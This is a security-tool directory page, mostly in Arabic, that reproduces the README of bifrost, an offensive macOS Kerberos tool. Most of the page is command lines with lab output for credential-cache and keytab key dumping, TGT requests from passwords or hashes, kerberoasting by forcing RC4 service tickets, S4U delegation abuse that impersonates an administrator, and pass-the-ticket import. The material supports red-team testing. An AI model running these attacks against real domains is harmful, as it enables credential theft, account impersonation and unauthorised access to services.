Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
bifrost — مكتبة Objective-C ووحدة تحكم للتفاعل مع Heimdal APIs لنظام Kerberos في macOS | Kitploit
أدوات/GitHubGitHub/its-a-feature/bifrost
هجمات كلمات المرورالاستغلالاختبار الاختراقالمصادقةالفريق الأحمر
GitHubits-a-feature/bifrost

bifrost

مكتبة Objective-C ووحدة تحكم للتفاعل مع Heimdal APIs لنظام Kerberos في macOS

عرض المستودع
15819منذ 3 سنواتتمت المراجعة من قبل Kitploit

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

Bifrost```


( \ _ /'___) ( )_ | (_) )(_)| (__ _ __ _ ___ | ,_) | _ <'| || ,__)( '__)/'_\ /',__)| |
| (
) )| || | | | ( () )_, | |_ (__/'()() () \___/'(____/_)

root@kitploit:~

Usage: ./bifrost -action [dump | list | askhash | describe | asktgt | asktgs | s4u | ptt | remove] For dump action: -source [tickets | keytab] for keytab, optional -path to specify a keytab for tickets, optional -name to specify a ccache entry to dump For list action: no other options are necessary For askhash action: -username a.test -password 'mypassword' -domain DOMAIN.COM optionally specify -enctype [aes256 | aes128 | rc4] or get all of them optionally specify -bpassword 'base64 of password' in case there might be issues with parsing or special characters For asktgt action: -username a.test -domain DOMAIN.COM if using a plaintext password, specify -password 'password' if using a hash, specify -enctype [aes256 | aes128 | rc4] -hash [hash_here] optionally specify -tgtEnctype [aes256|aes128|rc4] to request a TGT with a specific encryption type optionally specify -supportAll false to indicate that you want a TGT to match your hash enctype, otherwise will try to get AES256 if using a keytab, specify -enctype and -keytab [keytab path] to pull a specific hash from the keytab optionally specify -tgtEnctype [aes256|aes128|rc4] to request a TGT with a specific encryption type optionally specify -supportAll false to indicate that you want a TGT to match your hash enctype, otherwise will try to get AES256 For describe action: -ticket base64KirbiTicket For asktgs action: -ticket [base64 of TGT] -service [comma separated list of SPNs] optionally specify -connectDomain to connect to a domain other than the one specified in the ticket optionally specify -serviceDomain to request a service ticket in a domain other than the one specified in the ticket optionally specify -kerberoast true to indicate a request for rc4 instead of aes256 For s4u: -ticket [base64 of TGT] -targetUser [target user in current domain, or targetuser@domain for a different domain] -spn [target SPN] (if this isn't specified, just a forwardable S4U2Self ticket is requested as targetUser) optionally specify -connectDomain [domain or host to connect to] For ptt: -ticket [base64 of kirbi ticket] optionally specify -name [name] to import the ticket into a specific credential cache optionally specify -name new to import the ticket into a new credential cache For remove: for tickets: -source tickets -name [name here] (removes an entire ccache) for keytabs: -source keytab -principal [principal name] (removes all entries for that principal) for keytabs: optionally specify -name to not use the default keytab you can't remove a specific ccache principal entry since it seems to not be implemented in heimdal

root@kitploit:~
# جدول المحتويات
- [نظرة عامة](#overview)
- الأوامر
    - [list](#list)
    - [dump](#dump)  
        - [tickets](#tickets)  
        - [keytab](#keytab)  
    - [askhash](#askhash)  
    - [asktgt](#asktgt)
        - [مع كلمة مرور نصية](#with-plaintext-password)    
        - [مع hash](#with-hash)
        - [مع إدخال keytab](#with-keytab-entry)
    - [describe](#describe)
    - [asktgs](#asktgs)
        - [نطاقات مختلفة](#different-domains)
        - [kerberoasting](#kerberoasting)
    - [s4u](#s4u)
    - [ptt](#ptt)
    - [remove](#remove)
        - [ذاكرة بيانات الاعتماد](#credential-cache)
        - [إدخال keytab](#keytab-entry)
        
## نظرة عامة
Bifrost هو مشروع Objective-C مصمم للتفاعل مع واجهات برمجة تطبيقات Heimdal krb5 على macOS. يُجمَّع Bifrost في مكتبة ثابتة (ولكن يمكنك تغيير ذلك إلى dylib إذا لزم الأمر)، وbifrostconsole هو مشروع وحدة تحكم بسيط يستخدم مكتبة Bifrost. الهدف من المشروع هو تمكين اختبار أمان أفضل حول Kerberos على أجهزة macOS باستخدام واجهات برمجة التطبيقات الأصلية دون الحاجة إلى أي إطار عمل أو حزم أخرى على الجهاز الهدف.

نظرًا لأن هذا يجب أن يُجمَّع على جهاز Mac، وقد لا يكون ذلك متاحًا بسهولة للجميع لأغراض الاختبار، فقد أدرجت نسخة مُجمَّعة من وحدة التحكم والمكتبة في مجلد "compiled_binaries". وبما أن هذه النسخ مُجمَّعة مسبقًا، فمن المتوقع أن تكون معروفة لدى أدوات الكشف القائمة على التوقيعات ولا تصلح إلا لأغراض الاختبار الشخصي.
## list
سينتقل أمر `-action list` عبر جميع مخازن بيانات الاعتماد في الذاكرة ويعطي معلومات أساسية عن كل مخزن وكل إدخال بداخله. وسيحدد أيضًا المخزن الافتراضي بعلامة `[*]` وكل مخزن آخر بعلامة `[+]`.```
spooky:~ lab_admin$ ./bifrost -action list
 ___         ___                   _     
(  _`\  _  /'___)                 ( )_  
| (_) )(_)| (__  _ __   _     ___ | ,_)  
|  _ <'| || ,__)( '__)/'_`\ /',__)| |   
| (_) )| || |   | |  ( (_) )\__, \| |_ 
(____/'(_)(_)   (_)  `\___/'(____/\__) 


[*] Principal: [email protected]
    Name: API:A74E8799-8173-4D1A-8C7D-AFD2D8B003F3
    Issued             Expires                Principal                    Flags
2019-11-13 18:00:20PST    2019-11-14 04:00:20PST    krbtgt/[email protected]    (forwardable renewable initial pre-auth )
1970-12-31 16:00:00PST    2019-12-13 18:00:21PST    krb5_ccache_conf_data/kcm-status@X-CACHECONF:    ()

dump

يمكن لأمر -action dump استخراج معلومات حول keytabs أو مخابئ بيانات الاعتماد بناءً على الخيارات.

tickets

لتفريغ التذاكر تحديدًا، استخدم -source tickets. افتراضيًا، سيتنقل هذا فقط عبر مخبأ بيانات الاعتماد الافتراضي. يمكن تحديد مخبأ بيانات الاعتماد الافتراضي باستخدام أمر -action list والبحث عن المخبأ المحدد بعلامة [*]. لتفريغ مخبأ بيانات اعتماد محدد، استخدم الخيار -name [name here].

سيتم وصف كل تذكرة وتفريغها إلى تنسيق Kirbi بترميز base64 يمكن استخدامه بعد ذلك لأوامر أخرى أو مع أدوات أخرى على ويندوز.``` spooky:~ lab_admin$ ./bifrost -action dump -source tickets


( \ _ /'___) ( )_ | (_) )(_)| (__ _ __ _ ___ | ,_) | _ <'| || ,__)( '__)/'_\ /',__)| |
| (
) )| || | | | ( () )_, | |_ (/'()() (_) `_/'(___/_)

Client: [email protected] Principal: krbtgt/LAB.[email protected] Key enctype: aes256 Key: DUpykxCguZ9JtWML38nygb5Yyhvd1nGvy+MGReD7sXU= (0D4A729310A0B99F49B5630BDFC9F281BE58CA1BDDD671AFCBE30645E0FBB175) Expires: 2019-11-14 12:00:20 GMT Flags: forwardable renewable initial pre-auth Kirbi: doIFIDCCBRygBgIEAAA<...snip...>TE9DQUw=

Client: [email protected] Principal: krb5_ccache_conf_data/kcm-status@X-CACHECONF: Key enctype: 0 Key: () Expires: 2019-12-14 02:00:21 GMT Flags: Principal type: kcm-status Ticket Data: a3JiNQAAAAEAAAAA

root@kitploit:~
### keytab
لتفريغ مفاتيح keytab، استخدم معامل `-source keytab`. بشكل افتراضي، سيحاول ذلك تفريغ المعلومات من keytab الافتراضي (`/etc/krb5.keytab`) الذي لا يمكن قراءته إلا بواسطة root. لتحديد keytab آخر، استخدم وسيط `-path /path/to/keytab`.

سيتم وصف كل إدخال في keytab وسيتم تفريغ المفتاح بتنسيق base64 و hex.```
spooky:~ lab_admin$ ./bifrost -action dump -source keytab -path test
 ___         ___                   _     
(  _`\  _  /'___)                 ( )_  
| (_) )(_)| (__  _ __   _     ___ | ,_)  
|  _ <'| || ,__)( '__)/'_`\ /',__)| |   
| (_) )| || |   | |  ( (_) )\__, \| |_ 
(____/'(_)(_)   (_)  `\___/'(____/\__) 

[*] Resolving keytab path
[+] Successfully opened keytab
[+] principal: [email protected]
    Entry version: 3
    Key enctype: aes256
    Key: 2DE49D76499F89DEA6DFA62D0EA7FEDFD108EC52936740E2450786A92616D1E1
    Timestamp: 2019-11-10 04:58:09 GMT
root@kitploit:~
bash-3.2$ sudo ./bifrost -action dump -source keytab
 ___         ___                   _     
(  _`\  _  /'___)                 ( )_  
| (_) )(_)| (__  _ __   _     ___ | ,_)  
|  _ <'| || ,__)( '__)/'_`\ /',__)| |   
| (_) )| || |   | |  ( (_) )\__, \| |_ 
(____/'(_)(_)   (_)  `\___/'(____/\__) 

[*] Resolving default keytab path
[+] Successfully opened keytab
[+] principal: afpserver/LKDC:SHA1.B58C56AD77898DE69AAEFD22A538D6EDDEFF8D47@LKDC:SHA1.B58C56AD77898DE69AAEFD22A538D6EDDEFF8D47
    Entry version: 2
    Key enctype: aes256
    Key: 75769776DD087E3C951C514F5DB8A8FAC9DF7BF0EC6FA50A8362C456146B833B
    Timestamp: 2018-10-27 03:26:13 GMT
[+] principal: cifs/LKDC:SHA1.B58C56AD77898DE69AAEFD22A538D6EDDEFF8D47@LKDC:SHA1.B58C56AD77898DE69AAEFD22A538D6EDDEFF8D47
    Entry version: 2
    Key enctype: aes256
    Key: 75769776DD087E3C951C514F5DB8A8FAC9DF7BF0EC6FA50A8362C456146B833B
    Timestamp: 2018-10-27 03:26:13 GMT
    <...snip...>
[+] principal: [email protected]
    Entry version: 2
    Key enctype: rc4
    Key: A12AD40BD124E6A9A14D65504E8EA30A
    Timestamp: 2019-11-14 02:11:20 GMT
[+] principal: [email protected]
    Entry version: 2
    Key enctype: aes256
    Key: C1BF6861A00B35A97483E820863FAD4ED57831D935DBFE2D501727C678503F73
    Timestamp: 2019-11-14 02:11:20 GMT
[+] principal: [email protected]
    Entry version: 2
    Key enctype: aes128
    Key: 1F44A5E5C7919C00F3166A1344D4FFDA

askhash

سيقوم الإجراء -action askhash بحساب التجزئات (hashes) اللازمة لطلب TGTs وفك تشفير الاستجابات. يتطلب هذا الأمر كلمة المرور كنص صريح باستخدام -password [password here]، ولكن إذا كانت كلمة المرور تحتوي على أحرف خاصة قد تسبب مشاكل، يمكنك دائمًا توفير نسخة بترميز base64 من كلمة المرور باستخدام -bpassword [base64 password here]. يجب أيضًا توفير المعاملين -username [username] و -domain fqdn حتى يمكن توليد الملح (salt) المناسب.

إذا كنت ترغب في الحصول على التجزئات لحساب computer$، فتأكد من تضمين $ في اسم المستخدم. يختلف ملح حساب الكمبيوتر عن ملح حساب المستخدم.``` spooky:~ lab_admin$ ./bifrost -action askhash -username lab_admin -domain lab.local -bpassword YWJjMTIzISEh


( \ _ /'___) ( )_ | (_) )(_)| (__ _ __ _ ___ | ,_) | _ <'| || ,__)( '__)/'_\ /',__)| |
| (
) )| || | | | ( () )_, | |_ (/'()() (_) `_/'(___/_)

Username: lab_admin Password: abc123!!! Domain: LAB.LOCAL Salt: LAB.LOCALlab_admin

Keys: AES128: CFE28C26EAF8DE4A0A2AE0CC69E6EB6B AES256: 2DE49D76499F89DEA6DFA62D0EA7FEDFD108EC52936740E2450786A92616D1E1 RC4 : 8C1A1B4466CB7F145CAB016435B893EF

root@kitploit:~
## asktgt
سيقوم الأمر `-action asktgt` بأخذ كلمة مرور نصية واضحة، أو hash، أو إدخال keytab وطلب TGT من DC.  
### باستخدام كلمة مرور نصية واضحة
لاستخدام كلمة مرور نصية واضحة، تحتاج إلى توفير `-username [username]` و `-domain [fqdn]` بالإضافة إلى `-password [password]`. إذا كانت كلمة المرور تحتوي على أحرف خاصة قد تسبب مشاكل، قم بتوفير `-bpassword [base64 of password]` بدلاً من ذلك. سيستخدم هذا Kerberos Login APIs لطلب TGT بشكل طبيعي وتخزينه في ذاكرة تخزين مؤقت جديدة للبيانات الاعتمادية. بعدها، سيقوم Bifrost باستخراج التذكرة من تلك الذاكرة المؤقتة وإزالة الذاكرة المؤقتة.```
spooky:~ lab_admin$ ./bifrost -action asktgt -username lab_admin -domain lab.local -bpassword YWJjMTIzISEh
 ___         ___                   _     
(  _`\  _  /'___)                 ( )_  
| (_) )(_)| (__  _ __   _     ___ | ,_)  
|  _ <'| || ,__)( '__)/'_`\ /',__)| |   
| (_) )| || |   | |  ( (_) )\__, \| |_ 
(____/'(_)(_)   (_)  `\___/'(____/\__) 

[*] Requesting principal: [email protected]
[*] Requesting password: abc123!!!
[*] Creating TGT Request for [email protected]
[*] Requesting TGT into temporary CCache
[+] Successfully got TGT into new CCache: API:A74E8799-8173-4D1A-8C7D-AFD2D8B003F3
[*] Dumping ticket from new CCache and removing entry

Client: [email protected]
Principal: krbtgt/[email protected]
Key enctype: aes256
Key: lFfEz+OGE0IrlRiNbqN3KbkH1cC0Sb28eVJ8V2yp3EM= (9457C4CFE38613422B95188D6EA37729B907D5C0B449BDBC79527C576CA9DC43)
Expires: 2019-11-14 12:28:25 GMT
Flags: forwardable initial pre-auth 
Kirbi:
doIFDTCCBQm<...snip...>TA==

[+] Removed CCache entry: API:A74E8799-8173-4D1A-8C7D-AFD2D8B003F3
[+] Successfully obtained Kerberos ticket for principal lab_admin.

مع الهاش

لاستخدام الهاش، تحتاج إلى توفير -username [username] و -domain [fqdn] بالإضافة إلى -hash [hash here] و -enctype [aes256|aes128|rc4|des3]. باستخدام هذه المعاملات فقط، سيقوم Bifrost ببناء حركة مرور Kerberos يدوية بصيغة ASN1 والاتصال بـ [fqdn] على المنفذ 88 لطلب TGT بنوع AES256 (على وجه التحديد، مع إدراج aes256 وaes128 وrc4 كأنواع تشفير استجابة صالحة). يمكن تعديل ذلك بالطبع. تحديد العلم -supportAll false سيعدّل حركة المرور بحيث يكون نوع التشفير الوحيد المدعوم للاستجابة هو نفس الهاش. بدلاً من ذلك، يمكنك تحديد -tgtEnctype [aes256|aes128|rc4] لطلب TGT بنوع تشفير محدد بغض النظر عن نوع الهاش المقدم.``` spooky:~ lab_admin$ ./bifrost -action asktgt -username lab_admin -domain lab.local -enctype aes256 -hash 2DE49D76499F89DEA6DFA62D0EA7FEDFD108EC52936740E2450786A92616D1E1 -tgtEnctype rc4


( \ _ /'___) ( )_ | (_) )(_)| (__ _ __ _ ___ | ,_) | _ <'| || ,__)( '__)/'_\ /',__)| |
| (
) )| || | | | ( () )_, | |_ (/'()() (_) `_/'(___/_)

[] Requesting hash type: 23 [] LAB.LOCAL resolved to : 192.168.205.150 [+] Successfully connected to remote domain [+] Successfully sent ASREQ [+] Successfully received ASREP [] Describing ticket Client: [email protected] Principal: krbtgt/LAB.[email protected] Start: 2019-11-14 02:33:11 GMT End: 2019-11-14 12:33:11 GMT Renew: 2019-11-21 02:33:11 GMT Key Type: ARCFOUR_HMAC Key Value: P7EYn0Y5BFcE7o0gONzEhQ== (3FB1189F4639045704EE8D2038DCC485) Flags: forwardable renewable initial pre-auth [] Creating Kirbi: doIFADCCBPygBgI<...snip...>FCLkxPQ0FM

root@kitploit:~
### مع إدخال keytab
لاستخدام keytab، تحتاج إلى توفير `-username [username]` و`-domain [fqdn]` بالإضافة إلى `-enctype [aes256|aes128|rc4]` و`-keytab [path to keytab]`. سيقوم Bifrost بعد ذلك بفتح keytab والبحث عن الإدخال المطابق لاسم المستخدم والمجال ونوع التشفير المقدمين وسحب ذلك الهاش. مع هذه المعلمات فقط، سيقوم Bifrost ببناء حركة مرور Kerberos يدوية بصيغة ASN1 والاتصال بـ `[fqdn]` على المنفذ 88 لطلب TGT بتشفير AES256 (على وجه التحديد، مع إدراج aes256 وaes128 وrc4 كأنواع تشفير استجابة صالحة). يمكن تعديل هذا بالطبع. تحديد العلم `-supportAll false` سيعدل حركة المرور بحيث يكون نوع تشفير الاستجابة المدعوم الوحيد هو نفس الهاش. بدلاً من ذلك، يمكنك تحديد `-tgtEnctype [aes256|aes128|rc4]` لطلب TGT بنوع تشفير محدد بغض النظر عن نوع الهاش المقدم.```
spooky:~ lab_admin$ ./bifrost -action asktgt -username lab_admin -domain lab.local -enctype aes256 -keytab test
 ___         ___                   _     
(  _`\  _  /'___)                 ( )_  
| (_) )(_)| (__  _ __   _     ___ | ,_)  
|  _ <'| || ,__)( '__)/'_`\ /',__)| |   
| (_) )| || |   | |  ( (_) )\__, \| |_ 
(____/'(_)(_)   (_)  `\___/'(____/\__) 

[*] Resolving keytab path: test
[+] Successfully opened keytab
[*] Searching for principal: [email protected]
[*] Found match, retrieving key
[+] Using hash: 2DE49D76499F89DEA6DFA62D0EA7FEDFD108EC52936740E2450786A92616D1E1
[*] LAB.LOCAL resolved to : 192.168.205.150
[+] Successfully connected to remote domain
[+] Successfully sent ASREQ
[+] Successfully received ASREP
[*] Describing ticket
Client: [email protected]
Principal: krbtgt/[email protected]
Start: 2019-11-14 02:35:16 GMT
End:   2019-11-14 12:35:16 GMT
Renew: 2019-11-21 02:35:16 GMT
Key Type: AES256_CTS_HMAC_SHA1_96
Key Value: 4YgDg1Y8kIGg1xvfTpSmigdPo3KkdAqBMj54dSnXJtM= (E1880383563C9081A0D71BDF4E94A68A074FA372A4740A81323E787529D726D3)
Flags: forwardable renewable initial pre-auth 
[*] Creating Kirbi:
doIFIDCCBR<...snip...>DQUw=

describe

سيقوم الأمر -action describe باستخراج معلومات ملف Kirbi. تحتاج إلى تزويد -ticket [base64 of Kirbi ticket].``` spooky:~ lab_admin$ ./bifrost -action describe -ticket doIFIDCCBRygBgIEAA<...snip...>Uw=


( \ _ /'___) ( )_ | (_) )(_)| (__ _ __ _ ___ | ,_) | _ <'| || ,__)( '__)/'_\ /',__)| |
| (
) )| || | | | ( () )_, | |_ (/'()() (_) `_/'(___/_)

Client: [email protected] Principal: krbtgt/LAB.[email protected] Start: 2019-11-14 02:35:16 GMT End: 2019-11-14 12:35:16 GMT Renew: 2019-11-21 02:35:16 GMT Key Type: AES256_CTS_HMAC_SHA1_96 Key Value: 4YgDg1Y8kIGg1xvfTpSmigdPo3KkdAqBMj54dSnXJtM= (E1880383563C9081A0D71BDF4E94A68A074FA372A4740A81323E787529D726D3) Flags: forwardable renewable initial pre-auth

root@kitploit:~
## asktgs
سيطلب الأمر `-action asktgs` من KDC تذكرة خدمة بناءً على TGT مُقدَّم. تحتاج إلى توفير `-ticket [base64 of kirbi TGT]` و`-service [spn,spn,spn]`.```
spooky:~ lab_admin$ ./bifrost -action asktgs -ticket doIFIDC<...snip...>Uw= -service cifs/dc1-lab.lab.local,host/dc1-lab.lab.local
 ___         ___                   _     
(  _`\  _  /'___)                 ( )_  
| (_) )(_)| (__  _ __   _     ___ | ,_)  
|  _ <'| || ,__)( '__)/'_`\ /',__)| |   
| (_) )| || |   | |  ( (_) )\__, \| |_ 
(____/'(_)(_)   (_)  `\___/'(____/\__) 

[*] LAB.LOCAL resolved to : 192.168.205.150
[+] Successfully connected to remote domain
[*] Requesting service ticket to cifs/dc1-lab.lab.local as lab_admin
[+] Successfully sent TGSREQ
[+] Successfully received TGSREP
[+] Parsing TGS-REP
Client Domain: LAB.LOCAL
Requesting account: lab_admin
Requested Service: cifs/dc1-lab.lab.local
Ticket Encryption: 23
[*] Describing ticket
Client: [email protected]
Principal: cifs/[email protected]
Start: 2019-11-14 02:43:39 GMT
End:   2019-11-14 12:35:16 GMT
Renew: 2019-11-21 02:35:16 GMT
Key Type: ARCFOUR_HMAC
Key Value: 06IYcTPmajAEvXCjTim9lA== (D3A2187133E66A3004BD70A34E29BD94)
Flags: forwardable renewable pre-auth 
[*] Creating Kirbi:
doIFEDCCBQ<...snip...>A==
[+] Successfully got service ticket
[*] LAB.LOCAL resolved to : 192.168.205.150
[+] Successfully connected to remote domain
[*] Requesting service ticket to host/dc1-lab.lab.local as lab_admin
[+] Successfully sent TGSREQ
[+] Successfully received TGSREP
[+] Parsing TGS-REP
Client Domain: LAB.LOCAL
Requesting account: lab_admin
Requested Service: host/dc1-lab.lab.local
Ticket Encryption: 18
[*] Describing ticket
Client: [email protected]
Principal: host/[email protected]
Start: 2019-11-14 02:43:39 GMT
End:   2019-11-14 12:35:16 GMT
Renew: 2019-11-21 02:35:16 GMT
Key Type: AES256_CTS_HMAC_SHA1_96
Key Value: JGWDGXrjkzMD5Tr4dv+b6a5fR97IY8ycwoz1bHsywJw= (246583197AE3933303E53AF876FF9BE9AE5F47DEC863CC9CC28CF56C7B32C09C)
Flags: forwardable renewable pre-auth ok-as-delegate 
[*] Creating Kirbi:
doIFL<...snip...>w=
[+] Successfully got service ticket

نطاقات مختلفة

افتراضيًا، سيعتمد Bifrost على TGT للحصول على معلومات حول النطاق الذي سيتم الاتصال به ونطاق الخدمة. إذا اختلف أي من هذه الأمور عن TGT، يمكنك تحديدها يدويًا باستخدام -connectDomain [domain to connect to] و-serviceDomain [domain of the service]. افتراضيًا، يحدد Bifrost أن أنواع التشفير aes256 وaes128 وrc4 مقبولة للخدمة الناتجة (لذلك ستحصل على الأرجح على تذكرة خدمة aes256).

kerberoasting

إذا كنت لا تريد الحصول على تذكرة خدمة aes256، بل تريد شيئًا أكثر قابلية للكسر، يمكنك تحديد العلم -kerberoast true للإشارة إلى أنك تريد أن تكون تذكرة الخدمة الناتجة من نوع rc4.``` spooky:~ lab_admin$ ./bifrost -action asktgs -ticket doIF<...snip...>QUw= -service host/dc1-lab.lab.local -kerberoast true


( \ _ /'___) ( )_ | (_) )(_)| (__ _ __ _ ___ | ,_) | _ <'| || ,__)( '__)/'_\ /',__)| |
| (
) )| || | | | ( () )_, | |_ (/'()() (_) `_/'(___/_)

[] LAB.LOCAL resolved to : 192.168.205.150 [+] Successfully connected to remote domain [] Requesting service ticket to host/dc1-lab.lab.local as lab_admin [+] Successfully sent TGSREQ [+] Successfully received TGSREP [+] Parsing TGS-REP Client Domain: LAB.LOCAL Requesting account: lab_admin Requested Service: host/dc1-lab.lab.local Ticket Encryption: 23 [] Describing ticket Client: [email protected] Principal: host/dc1-[email protected] Start: 2019-11-14 02:49:01 GMT End: 2019-11-14 12:46:50 GMT Renew: 2019-11-21 02:46:50 GMT Key Type: ARCFOUR_HMAC Key Value: j3VcAqIgsLI38a4aqi0jOw== (8F755C02A220B0B237F1AE1AAA2D233B) Flags: forwardable renewable pre-auth ok-as-delegate [] Creating Kirbi: doIFE<...snip...>A== [+] Successfully got service ticket

root@kitploit:~
## s4u
يستخدم الأمر `-action s4u` التفويض المقيد المستند إلى الموارد. تحتاج إلى تحديد `-ticket [base64 of TGT]` و`-targetUser [username]` (إذا كان المستخدم في مجال آخر غير المجال الذي صدرت له TGT، فحدد المستخدم الهدف بصيغة `[email protected]`). عند هذه النقطة، سينفذ Bifrost عملية S4U2Self فقط. لإكمال العملية وتنفيذ S4U2Proxy أيضًا، حدد إضافةً إلى ذلك `-spn [target spn]`. إذا كنت بحاجة إلى الاتصال بمجال مختلف عن المجال المحدد في TGT، يمكنك تحديد `-connectDomain [fqdn]`. سينشئ هذا التسلسل مرة أخرى حركة مرور Kerberos يدوية بتنسيق ASN1 عبر المنفذ 88.```
*** Using the TGT of the "alice" account, which has an SPN set (HTTP/spooky.lab.local) and has the userAccountControl flag for TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION set to true (0x1000000) and has msDS-AllowedToDelegateTo set to the SPN of cifs/dc1-lab.lab.local ***

spooky:~ lab_admin$ ./bifrost -action s4u -targetUser lab_admin -spn cifs/dc1-lab.lab.local -ticket doIF<...snip...>QUw=
 ___         ___                   _     
(  _`\  _  /'___)                 ( )_  
| (_) )(_)| (__  _ __   _     ___ | ,_)  
|  _ <'| || ,__)( '__)/'_`\ /',__)| |   
| (_) )| || |   | |  ( (_) )\__, \| |_ 
(____/'(_)(_)   (_)  `\___/'(____/\__) 

[*] LAB.LOCAL resolved to : 192.168.205.150
[+] Successfully connected to remote domain
[*] Requesting service ticket to alice as lab_admin
[+] Successfully sent request
[+] Successfully received response
[+] Parsing TGS-REP
Client Domain: LAB.LOCAL
Requesting account: [email protected]
Requested Service: alice
Ticket Encryption: 23
[*] Describing ticket
Client: [email protected]@LAB.LOCAL
Principal: [email protected]
Start: 2019-11-14 04:17:45 GMT
End:   2019-11-14 13:59:56 GMT
Renew: 2019-11-21 03:59:56 GMT
Key Type: ARCFOUR_HMAC
Key Value: MV4AR2rIg23e8uj0LmuP4w== (315E00476AC8836DDEF2E8F42E6B8FE3)
Flags: forwardable renewable pre-auth 
[*] Creating Kirbi:
doIFQD<...snip...>ZQ==
[*] Impersonating [email protected] to service cifs/[email protected] via S4U2Proxy
[*] LAB.LOCAL resolved to : 192.168.205.150
[+] Successfully connected to remote domain
[+] Successfully sent request
[+] Successfully received response
[+] Parsing TGS-REP
Client Domain: LAB.LOCAL
Requesting account: [email protected]
Requested Service: cifs/dc1-lab.lab.local
Ticket Encryption: 18
[*] Describing ticket
Client: [email protected]@LAB.LOCAL
Principal: cifs/[email protected]
Start: 2019-11-14 04:17:45 GMT
End:   2019-11-14 13:59:56 GMT
Renew: 2019-11-21 03:59:56 GMT
Key Type: AES256_CTS_HMAC_SHA1_96
Key Value: qvO9Rh88ju+LlobxDwdS9fAy9MjqVg/FOfS/RCxVOlo= (AAF3BD461F3C8EEF8B9686F10F0752F5F032F4C8EA560FC539F4BF442C553A5A)
Flags: forwardable renewable pre-auth ok-as-delegate 
[*] Creating Kirbi:
doIG<...snip...>9jYWw=

يمكنك الآن استخدام تذكرة Kirbi النهائية تلك للوصول إلى cifs/dc1-lab.lab.local بصفة lab_admin حتى لو كانت TGT المستخدمة في العملية بأكملها هي تذكرة LAB\alice.

ptt

يأخذ أمر -action ptt تذكرة (TGT أو تذكرة خدمة) ويستوردها إلى ذاكرة تخزين بيانات اعتماد محددة أو ينشئ ذاكرة تخزين بيانات اعتماد جديدة. تحتاج إلى تحديد -ticket [base64 of ticket] وإما -name [full credential cache name] لإضافة التذكرة إلى الذاكرة المحددة، أو -name new لإنشاء ذاكرة تخزين بيانات اعتماد جديدة واستيراد التذكرة هناك.``` spooky:~ lab_admin$ ./bifrost -action list


( \ _ /'___) ( )_ | (_) )(_)| (__ _ __ _ ___ | ,_) | _ <'| || ,__)( '__)/'_\ /',__)| |
| (
) )| || | | | ( () )_, | |_ (/'()() (_) `_/'(___/_)

spooky:~ lab_admin$ ./bifrost -action ptt -cache new -ticket doI<...snip...>QUw=


( \ _ /'___) ( )_ | (_) )(_)| (__ _ __ _ ___ | ,_) | _ <'| || ,__)( '__)/'_\ /',__)| |
| (
) )| || | | | ( () )_, | |_ (/'()() (_) `_/'(___/_)

[+] Successfully parsed Kirbi data [] Converting ticket to ccache cred [+] Successfully converted ticket to ccache cred [] Creating new ccache [*] Saving credential for krbtgt/LAB.LOCAL [+] Successfully imported credential spooky:~ lab_admin$ ./bifrost -action list


( \ _ /'___) ( )_ | (_) )(_)| (__ _ __ _ ___ | ,_) | _ <'| || ,__)( '__)/'_\ /',__)| |
| (
) )| || | | | ( () )_, | |_ (/'()() (_) `_/'(___/_)

[*] Principal: [email protected] Name: API:9C9CE38B-DEC1-42DF-8401-E61A39B3267F Issued Expires Principal Flags 2019-11-13 18:58:06PST 2019-11-14 04:58:06PST krbtgt/LAB.[email protected] (forwardable renewable initial pre-auth )

root@kitploit:~
## remove
يقوم الأمر `-action remove` بإزالة ذاكرات التخزين المؤقت أو إدخالات keytab.
### ذاكرة التخزين المؤقت للاعتمادات
لإزالة ذاكرة تخزين مؤقت للاعتمادات، تحتاج إلى تحديد `-source tickets` و `-name [cache name  here]`. يؤدي هذا إلى إزالة الذاكرة المؤقتة بالكامل. على حد علمي من واجهات برمجة تطبيقات krb5 Heimdal، لا يمكنك إزالة إدخال اعتماد معين - يُبلِّغ MITKerberosShim أن الوظائف المطلوبة غير منفذة.```
spooky:~ lab_admin$ ./bifrost -action list
 ___         ___                   _     
(  _`\  _  /'___)                 ( )_  
| (_) )(_)| (__  _ __   _     ___ | ,_)  
|  _ <'| || ,__)( '__)/'_`\ /',__)| |   
| (_) )| || |   | |  ( (_) )\__, \| |_ 
(____/'(_)(_)   (_)  `\___/'(____/\__) 


[*] Principal: [email protected]
    Name: API:9C9CE38B-DEC1-42DF-8401-E61A39B3267F
    Issued             Expires                Principal                    Flags
2019-11-13 18:58:06PST    2019-11-14 04:58:06PST    krbtgt/[email protected]    (forwardable renewable initial pre-auth )
spooky:~ lab_admin$ ./bifrost -action remove -source tickets -name API:9C9CE38B-DEC1-42DF-8401-E61A39B3267F
 ___         ___                   _     
(  _`\  _  /'___)                 ( )_  
| (_) )(_)| (__  _ __   _     ___ | ,_)  
|  _ <'| || ,__)( '__)/'_`\ /',__)| |   
| (_) )| || |   | |  ( (_) )\__, \| |_ 
(____/'(_)(_)   (_)  `\___/'(____/\__) 

[*] Resolving CCache name: API:9C9CE38B-DEC1-42DF-8401-E61A39B3267F
[+] Successfully resolved CCache name
[+] Successfully removed CCache
spooky:~ lab_admin$ ./bifrost -action list
 ___         ___                   _     
(  _`\  _  /'___)                 ( )_  
| (_) )(_)| (__  _ __   _     ___ | ,_)  
|  _ <'| || ,__)( '__)/'_`\ /',__)| |   
| (_) )| || |   | |  ( (_) )\__, \| |_ 
(____/'(_)(_)   (_)  `\___/'(____/\__) 

spooky:~ lab_admin$ 

إدخال keytab

لإزالة principal من keytab، تحتاج إلى تحديد -source keytab و -principal [principal name]. افتراضيًا، سيبحث هذا عن principal في keytab الافتراضي، ولكن إذا كنت تريد استخدام keytab محدد، فحدده باستخدام -name [path to keytab].

تنزيل الأداة